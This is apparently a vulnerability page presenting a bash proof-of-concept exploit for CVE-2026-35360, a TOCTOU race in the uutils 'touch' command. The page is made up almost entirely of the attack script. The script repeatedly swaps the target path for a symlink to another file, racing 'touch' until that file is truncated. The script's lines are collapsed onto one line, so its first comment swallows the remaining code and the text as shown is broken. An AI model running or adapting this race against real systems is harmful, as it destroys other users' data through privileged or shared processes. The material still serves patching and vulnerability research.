CVE-2026-35360 uutils coreutils TOCTOU竞态漏洞

#!/bin/bash # PoC for CVE-2026-35360 TOCTOU in uutils touch # This script attempts to win the race condition by swapping a file # with a symlink to a target file between the check and use. TARGET="target_file" IMPORTANT_FILE="important_data.txt" # Setup: Create the important file echo "Critical Data" > $IMPORTANT_FILE echo "Starting exploitation attempt..." # Loop to increase chances of hitting the race window while true; do # Clean up rm -f $TARGET # Start uutils touch in background (Victim) # Note: Requires precise timing to hit the gap between check and create touch $TARGET & PID=$! # Attack: Swap target with a symlink to the important file # This must happen after touch checks for existence but before File::create rm -f $TARGET ln -s $(pwd)/$IMPORTANT_FILE $TARGET # Wait for touch to finish wait $PID # Check if exploitation succeeded (file truncated) if [ ! -s $IMPORTANT_FILE ]; then echo "[+] Exploitation successful: $IMPORTANT_FILE has been truncated!" break fi # Restore important file for next attempt echo "Critical Data" > $IMPORTANT_FILE done